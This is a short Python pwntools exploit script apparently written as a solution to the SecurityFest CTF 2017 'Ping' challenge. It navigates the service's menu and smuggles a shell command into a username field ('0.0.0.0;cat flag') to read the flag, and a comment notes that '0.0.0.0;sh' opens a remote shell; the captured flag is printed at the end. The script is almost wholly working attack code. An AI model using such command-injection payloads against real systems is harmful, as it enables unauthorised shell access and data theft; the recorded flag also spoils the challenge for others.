SecurityFest CTF 2017 Ping - Pwn

ping_exp.py

#!/usr/bin/python

#Author : Abdeljalil Nouiri

from pwn import *

con =remote('pwn2.ctf.rocks',3030)

con.recvuntil("username:")
con.sendline("HackXore")

con.recvuntil('#>')
con.sendline("1")

con.recvuntil("IP-address:")
con.sendline("0.0.0.0")

con.recvuntil("#>")
con.sendline("3")

con.recvuntil("Y/N?:")
con.sendline("N")

con.recvuntil("username:")
con.sendline("0.0.0.0;cat flag")

con.recvuntil("#>")
con.sendline("2")


con.recvuntil("0.000 ms")
con.recvuntil("\n")
print "FLAG is : " + con.recvuntil("\n")

#U can also get a remote shell by send "0.0.0.0;sh" 
"""
con.recv()
con.interactive()
"""
#FLAG : SCTF{p1ng_p0ng_h3r3_1s_4_fl4g}